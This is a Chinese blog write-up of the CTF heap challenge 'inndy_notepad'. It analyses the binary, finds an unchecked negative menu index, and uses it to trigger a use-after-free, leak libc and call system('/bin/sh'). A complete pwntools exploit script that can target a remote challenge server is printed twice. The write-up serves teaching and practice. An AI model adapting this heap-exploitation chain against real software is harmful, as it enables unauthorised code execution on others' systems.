<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一個堆題inndy_notepad的練習筆記

    VSole2021-10-30 16:47:15

    對于堆的恐懼來自堆復雜的管理機制(unsorted,fastbin,small,large bin看著都頭大),相較于棧(壓入彈出)來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。

    今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。

    題目來自buu[https://buuoj.cn/challenges#inndy_notepad]。

    題目分析

    基本信息分析

    查看文件類型,32位,沒有去掉符號(not stripped,很開心,省去了猜函數的“樂趣”)。

    # file notepadnotepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped
    

    查看保護機制,一些直觀的映像見下面注釋:

    # checksec notepad    Arch:     i386-32-little    RELRO:    Partial RELRO # 可寫got    Stack:    Canary found #如果要棧溢出,需要考慮canary的問題    NX:       NX enabled #不可以在棧上,bss段上布局shellcode,因為不可執行    PIE:      No PIE (0x8048000) # 很開心,本程序每次加載的地址都是固定的
    

    拖入IDA,查看字符串(shift+f12),沒有system,沒有/bin/sh(難受,需要泄露libc地址)。

    至此,一些最直觀、最簡單的分析完畢。我們可以得到以下信息:

    本程序是32位程序,每次加載時地址固定,如果存在棧溢出,需要考慮canary check的問題,并且溢出之后不能在數據區(棧、bss段)布局shellcode,因為數據區不可執行,所以需要通過ROP實現我們的意圖。同時,程序本身不存在system和/bin/sh,需要通過泄露libc的地址來獲取我們需要的libc中的函數(如system)。

    功能分析&找茬

    好了,下面開始找茬吧

    主函數

    包含循環,從函數名看是一個菜單顯示加功能選擇。有四個函數。

    menu:  int __cdecl menu(int a1){    int result; // eax    int i; // [esp+8h] [ebp-10h]    int v3; // [esp+Ch] [ebp-Ch]     for ( i = 0; *(4 * i + a1); ++i )      printf("%c> %s", i + 97, *(4 * i + a1));    printf("::> ");    v3 = getchar() - 'a';    freeline();    if ( v3 < i ) # 沒有檢查下界???此時一定要標記出來這個函數有問題,不然后面就忘了 --!      result = v3 + 1;    else      result = 0;    return result;  }bash:  unsigned int bash(){    char s; // [esp+Ch] [ebp-8Ch] #128沒毛病    unsigned int v2; // [esp+8Ch] [ebp-Ch]     v2 = __readgsdword(0x14u);    printf("inndy ~$ ");    fgets(&s, 128, stdin);    rstrip(&s); #替換一些特殊字符,沒毛病    printf("bash: %s: command not found", &s);    return __readgsdword(0x14u) ^ v2;  }cmd:  unsigned int cmd(){    char s; // [esp+Ch] [ebp-8Ch] #128沒毛病    unsigned int v2; // [esp+8Ch] [ebp-Ch]     v2 = __readgsdword(0x14u);    puts("Microhard Wind0ws [Version 3.1.3370]");    puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");    puts(&byte_8049371);    printf("C:\\Users\\Inndy>");    fgets(&s, 128, stdin);    rstrip(&s);    printf("'%s' is not recognized as an internal or external command", &s);    return __readgsdword(0x14u) ^ v2;  }notepad:  主要的功能函數,下面分析
    

    menu函數中,我們可以控制menu函數的返回值!看似可疑的兩個函數cmd和bash貌似沒毛病,往后看。

    進入notepad函數:

    包含6個函數:

    menu    函數負責顯示菜單,并且根據輸入選擇執行功能。前面提到,這個函數可以輸出一個負數,但是貌似在這沒有什么用!跳過notepad_new    見下面notepad_open    見下面notepad_delete    見下面notepad_rdonly    用于分析note struct字段notepad_keepsec    用于分析note struct字段
    

    notepad_new

    大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。這里需要留意的地方是:這里的函數(notepad_show,notepad_destory)指針放在了堆上,如果我們能夠溢出覆蓋到這兩個函數指針,豈不是就可以控制EIP執行我們想要執行的流程了嗎?(初步感覺,實際上并不是溢出,只是分析時存在利用的可能性)可以看出通過size控制輸入的長度,但并不存在溢出的機會。接著看下面。

    notepad_open:

    在這里使用了menu函數。還記得前面我們分析的結構,我們可以控制這個函數的輸出嗎?控制了這個值后,我們就間接控制了上圖menu函數下面的這個函數指針(*(&v3->p_func_show + v0 - 1))(v3);這個函數的參數是這個塊的首地址(不受控制)。所以這里我們可以分析得出:

    如果我們能夠通過控制v0控制函數指針指向我們想要執行的函數就完成了第一步,例如變成system。

    第二步,如果我們能控制v3處的內容就好了,例如變成'/bin/sh',怎么實現呢?貌似沒有什么思路,接著看吧!

    notepad_delete:

     

    這個函數中通過id釋放了相應的note,并且清空了相應的指針,堵住了UAF的路。

    等等!!UAF,我們不是能夠控制一個函數指針嗎?參數正好是分配的堆塊地址!我們可以控制這個函數指針為free,釋放掉當前塊,并且沒有清空指針的操作!一個野指針就這么誕生了,UAF!

    至此,一個邪惡的計劃產生了!

    個邪惡的計劃

    1、生成兩個大小相同的堆塊A和B(這兩個堆塊相鄰哦);對于A,我們填充其內容,使其包含free函數的地址;對于B,我們使用menu的返回值(負數),控制函數指針指向A內容中的free函數地址,這樣我們可以控制函數指針指向free(此時參數是B的首地址),這樣通過操作B就可以free掉B自己。重要的是,雖然此時B已經被free掉了,但是因為我們還控制著指向B的指針,所以我們還能操控B,這很重要(use after free)。

    2、B現在被free掉了,躺在unsortedbin中,但是這有什么用呢?如果我們能讓A覆蓋到B就好了。可以嗎?可以的!!這里用到了堆分配中的一個知識點:當相同大小的堆塊釋放時,會被放入同一個類型bin上。所以,此時如果我們free掉A,那么他們就同時躺在unsortedbin中了(此時他們會被合并!另一個知識點)。此時,我們使用一個大于堆A,小于A+B的大小,malloc一個塊,此時返回的地址就是A的地址(稱為A'),但是范圍卻覆蓋到了B。至此我們就能控制B的內容了,比如通過重新分配出來的A',覆蓋B的首地址位置,輸入'/bin/sh'。

    3、但是,現在我們還差個system函數啊?libc的地址還沒有獲取到呢?另一個堆的知識點(真多,麻木!)linux使用free進行內存釋放時,不大于64B的塊會先放入fastbin,大于64的塊會放入unsortedbin。如果fastbin為空時,unsortedbin中第一個塊的fd和bk指針指向自身的main_arena中。而main_arena在libc中,利用這個點,我們可以泄露libc的地址。怎么弄呢?在第一步中,如果我們的B的size大于64(本例中0x60),那么在free時,就會直接被放入unsortedbin,此時fastbin中沒有數據,那么B的數據區的前兩個DWORD就是fd和bk,指向libc中的main_arena+48(針對本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我們用IDA打開libc,找到malloc_trim函數,如下圖高亮位置就是偏移量,本例中是0x1b3780。至此我們可以獲得libc的地址,通過偏移,我們可以找到system的地址。

    終于,我們邪惡艱難的計劃有了雛形。

    exploit

    下面就是執行了

    首先,套路:

    #!/usr/bin/python#coding:utf-8from pwn import *from LibcSearcher import *  context(arch="amd64", os="linux")context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']##--------------------# 連接選項#--------------------is_local = 1local_path = './notepad'addr = 'node4.buuoj.cn'port = 25207if is_local:   io = process(local_path)else:   io = remote(addr,port) #--------------------# 調試選項#-------------------- def debug(cmd):    gdb.attach(io, cmd)    # pause()  #--------------------# 常用函數#--------------------se      = lambda data               :io.send(data)sa      = lambda delim,data         :io.sendafter(delim, data)sl      = lambda data               :io.sendline(data)sla     = lambda delim,data         :io.sendlineafter(delim, data)rc      = lambda num                :io.recv(num)rl      = lambda                    :io.recvline()ra      = lambda                    :io.recvall()ru      = lambda delims             :io.recvuntil(delims)uu32    = lambda data               :u32(data.ljust(4, '\x00'))uu64    = lambda data               :u64(data.ljust(8, '\x00'))info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))ia      = lambda                    :io.interactive()halt    = lambda                    :io.close()  elf=ELF(local_path)libc = ELF('./libc.so')p_free_plt=elf.plt['free']p_puts_plt=elf.plt['puts']p_=elf.symbols['main']  def notepad_new(size, data):   sla(b'::>', b'a')   sla(b'size >', str(size).encode('utf-8'))   sla(b'data >', data)   # sleep(0.1) def notepad_open(id, offset):   sla(b'::>', b'b')   sla(b'id >', str(id).encode('utf-8'))   sla(b'(Y/n)', b'n')   sla(b'::>', chr(ord('a')+offset))   return ru(b'note closed') def notepad_edit(id, offset, content): # 與上面一個open函數的區別是這里可以編輯內容   sla(b'::>', b'b')   sla(b'id >', str(id).encode('utf-8'))   sla(b'(Y/n)', b'y')   sla(b'content >', content)   ru(b'note saved')   sla(b'::>', chr(ord('a')+offset))   ru(b'note closed') def notepad_delete(id):   sla(b'::>', b'c')   sla(b'id >', str(id).encode('utf-8'))
    

    首先分配4個塊。等等!前面不是說兩個塊,一個A,一個B嗎?這里堆的另一個知識點,為了提高內存的利用率,堆在釋放時,會檢查他的上一個塊,如果這個塊是TOP chunk的話,就會與其進行合并(這樣我們的塊就丟了,再分配時會從TOP chunk上切一塊給你,不受控制),所以為了保證我們的塊不被不受控制的合并,我們在A和B的上下添加了一個塊(0和3),如下:

    notepad_new(0x60, b'aaaa') #0notepad_new(0x60, b'aaaa') #1 or Anotepad_new(0x60, b'aaaa') #2 or Bnotepad_new(0x60, b'aaaa') #3
    

    其中,參數0x60是note內容的大小,是為了保證堆塊在釋放時能被放入unsorted bin。

    然后,我們填充A,使得其內容包含free函數指針;控制B中的指針(利用menu沒有檢查返回值的下界的問題)。

    notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 編輯A的內容包含free的指針,指針放在A的最后四個字節#根據menu函數中下界沒有檢查的問題,將eip指向B(notepad_show函數的位置)前3個dword(從后往前數,前兩個dword是堆塊的頭,第三個塊是前一個塊的數據)的位置,也就是前一個塊的最后四個字節(free函數的地址)#此時free函數的地址是當前塊的首地址,因此下面這個操作的目的是釋放當前塊notepad_open(2, -3) # free 2
    

    如上圖所示,A塊起始位置0x9579078,B塊起始位置0x95790f0。塊首的兩個dword(4bytes)為堆塊的頭部。我們的free函數地址填充到了0x95790ec,此時我們可控的函數指針位置在0x95790f8,中間相差3個dword(因此然后menu返回-3,就可以調用到我們放入的指針),至此我們可以控制free函數,釋放0x95790f0位置的塊B(在unsortedbin中fb和bk為main_arena+48)。

    此時,我們再通過程序提供的函數釋放掉A。

    notepad_delete(1) # free 1 A
    

    如下圖,我們發現出現了A和B的合并,那個size=0xf1的塊就是:

    此時我們再將A malloc出來,填充數據,內容包含puts的函數指針,大小為0xf1的哪個就是了,我們稱為A’,現在A'中包含了puts的地址。

    為什么兩個size=0x60釋放后是size=0xf1.
    1、首先由于在unsorted bin 中,兩個塊進行了合并,0x60 + 0x60 = 0xC0
    2、由于每個chunk都會包含一個頭部,本例中頭部為0x10 2,則0xC0+0x102 = 0xF0
    3、由于該塊的前一個塊(0x9579000)處于使用狀態,所以該塊的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
    4、同理可解釋其他塊
    notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
    
    pre_size字段,如果上一個塊處于釋放狀態,用于表示其大小,否則上一個塊處于使用狀態時,pre_size為上一個塊的一部分,用于保存上一個塊的數據。可以通過觀察0x9579168地址處驗證

    可以看到B塊在unsortedbin中走了一遭后,0x95790f0+8位置變為了0xf7f747b0(main_arena+48)。再次強調B塊的指針我們是知道的!此時,我們通過控制的指針指向puts函數打印B起始地址的內容,就可以得到main_arena+48的地址,結合main_arena在libc中的偏移(前文提到,高亮的哪個)就可以計算出libc的地址,從而獲得system的地址。

    notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2 main_area_addr = notepad_open(2, -2)[1:5]main_area_addr = u32(main_area_addr) - 48print(hex(main_area_addr)) libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數第4行獲取p_system = libc_base + libc.symbols['system']
    

    最后,我們要寫入/bin/sh到B起始的位置。相同的原理,通過A‘寫入數據,內包含system地址和/bin/sh。

    notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4  + b'/bin/sh')
    

    現在,再次調用noteopen(2, -2),此時,我們的函數指針-2位置為我們填入的system函數,B塊的起始位置,放入了/bin/sh,完美!

    sla(b'::>', b'b')sla(b'id >', str(2).encode('utf-8'))# sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')-2)) # ra()ia()
    

    完整exp奉上

    #!/usr/bin/python#coding:utf-8from pwn import *from LibcSearcher import *  context(arch="amd64", os="linux")context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']# #--------------------# 連接選項#--------------------is_local = 1local_path = './notepad'addr = 'node4.buuoj.cn'port = 25207if is_local:   io = process(local_path)else:   io = remote(addr,port) #--------------------# 調試選項#-------------------- def debug(cmd):    gdb.attach(io, cmd)    # pause()  #--------------------# 常用函數#--------------------se      = lambda data               :io.send(data)sa      = lambda delim,data         :io.sendafter(delim, data)sl      = lambda data               :io.sendline(data)sla     = lambda delim,data         :io.sendlineafter(delim, data)rc      = lambda num                :io.recv(num)rl      = lambda                    :io.recvline()ra      = lambda                    :io.recvall()ru      = lambda delims             :io.recvuntil(delims)uu32    = lambda data               :u32(data.ljust(4, '\x00'))uu64    = lambda data               :u64(data.ljust(8, '\x00'))info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))ia      = lambda                    :io.interactive()halt    = lambda                    :io.close()  elf=ELF(local_path)libc = ELF('./libc.so')p_free_plt=elf.plt['free']p_puts_plt=elf.plt['puts']p_=elf.symbols['main']  def notepad_new(size, data):   sla(b'::>', b'a')   sla(b'size >', str(size).encode('utf-8'))   sla(b'data >', data)   # sleep(0.1) def notepad_open(id, offset):   sla(b'::>', b'b')   sla(b'id >', str(id).encode('utf-8'))   sla(b'(Y/n)', b'n')   sla(b'::>', chr(ord('a')+offset))   return ru(b'note closed') def notepad_edit(id, offset, content):   sla(b'::>', b'b')   sla(b'id >', str(id).encode('utf-8'))   sla(b'(Y/n)', b'y')   sla(b'content >', content)   ru(b'note saved')   sla(b'::>', chr(ord('a')+offset))   ru(b'note closed') def notepad_delete(id):   sla(b'::>', b'c')   sla(b'id >', str(id).encode('utf-8'))  sla(b'::>', b'c')debug_cmd = '''                b *0x08048CE8                c            '''   # open 8048E46 # call eax 08048CE8# 08048CBF   notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')#notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt))#根據menu函數中下界沒有檢查的問題,將eip指向notepadshow函數前3個dword的位置,也就是前一個塊的最后四個字節(free函數的地址)#此時free函數的地址是當前塊的首地址,因此下面這個操作的目的是釋放當前塊# debug(debug_cmd)notepad_open(2, -3) # free 2 notepad_delete(1) # free 1 notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2 main_area_addr = notepad_open(2, -2)[1:5]main_area_addr = u32(main_area_addr) - 48print(hex(main_area_addr)) libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數第4行獲取p_system = libc_base + libc.symbols['system'] # notepad_delete(1) # notepad_new(0x60, b'aaaa')# notepad_new(0x60, b'bbbb') notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 +  b'/bin/sh')# debug(debug_cmd)# notepad_open(2, -2)sla(b'::>', b'b')sla(b'id >', str(2).encode('utf-8'))# sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')-2))   # ra()ia()
    

    因為我這里用的是自己機器中的libc,所以可能有些差異,但大體上是一樣的,libc信息如下。

    # ldd notepad    linux-gate.so.1 =>  (0xf7f29000)    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)    /lib/ld-linux.so.2 (0xf7f2b000)
    

    總結

    總的來說,這道題沒有用到溢出的知識,但是對于堆的分配、回收(合并)等知識點進行了考察,對我來說,熟悉了堆在GDB調試下的熟練度,克服了一直以來對堆的恐懼,也是一大收獲。

    但是在學習的過程中依然存在很多問題,很多知識點還是有些模糊,留給后面繼續深入吧。

    指針lambda
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    情景展示 原因分析 解決方案 情景展示如上圖所示,我們想要終止 for 循環,使用 return。 執行結果如下:
    接著是read_password函數,與read_name函數基本一致。在看最后的password_checker()前,我們用正確密碼測試文件,顯示段錯誤。查看password_checker,login與admin的密碼比較后,來了個奇葩的有毒打印,接著前面的二級函數終于被調用了。我們需要知道報錯原因,gdb調試發現正好是二級指針調用出錯。利用思路經過上面的初步分析,我們知道程序在password_checker中調用一個二級指針失敗而段錯誤終止,考慮到canary的存在,srop不可能短期實現。即使我們無法利用這個二級指針getshell,它的存在也會讓程序終止。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。
    我們現在一般做題題目是給出很大的一塊空間供我們寫入棧溢出的ROP鏈的,但是當題目限制輸入的空間比如說幾個字節呢,只能覆蓋到ebp,ret_addr,這個時候就需要棧遷移這樣的騷操作了,接下來我將用很通俗的語言帶你們深入理解棧遷移。
    mruby是一個Ruby語言的輕量級實現,mruby工作方式類似CPython,它可以將Ruby源碼編譯為字節碼,再在虛擬機中解釋運行。
    逆向角度看C++部分特性
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    本文將解析angr模擬執行部分的源碼,來幫助大家了解angr模擬執行的基本原理。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类